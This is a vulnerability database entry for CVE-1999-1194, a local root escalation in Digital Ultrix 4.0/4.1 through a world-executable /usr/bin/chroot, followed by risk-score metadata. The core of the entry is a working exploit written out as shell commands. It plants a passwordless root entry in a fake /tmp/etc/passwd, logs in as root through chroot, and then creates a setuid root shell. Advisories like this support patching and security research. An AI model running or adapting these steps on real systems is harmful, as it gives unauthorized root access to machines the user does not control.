Digital Ultrix 4.0/4.1 - '/usr/bin/chroot' Local Privilege Escalation
| Reporter | Title | Published | Views | Family All 4 |
|---|---|---|---|---|
 | CVE-1999-1194 | 9 Mar 200205:00 | – | cve |
 | CVE-1999-1194 | 9 Mar 200205:00 | – | cvelist |
 | EUVD-1999-1175 | 7 Oct 202500:30 | – | euvd |
 | CVE-1999-1194 | 1 May 199104:00 | – | nvd |
source: https://www.securityfocus.com/bid/17/info
By default, /usr/bin/chroot is improperly installed in Ultrix versions 4.0 and 4.1. Anyone can execute /usr/bin/chroot this can lead to system users to gain unauthorized privileges.
$ mkdir /tmp/etc
$ echo root::0:0::/:/bin/sh > /tmp/etc/passwd
$ mkdir /tmp/bin
$ cp /bin/sh /tmp/bin/sh
$ cp /bin/chmod /tmp/bin/chmod
$ chroot /tmp /bin/login
Then login as root with no password. chmod /tmp/bin/sh
to 4700, exit and run the suid /tmp/bin/sh.Data
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16 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.0097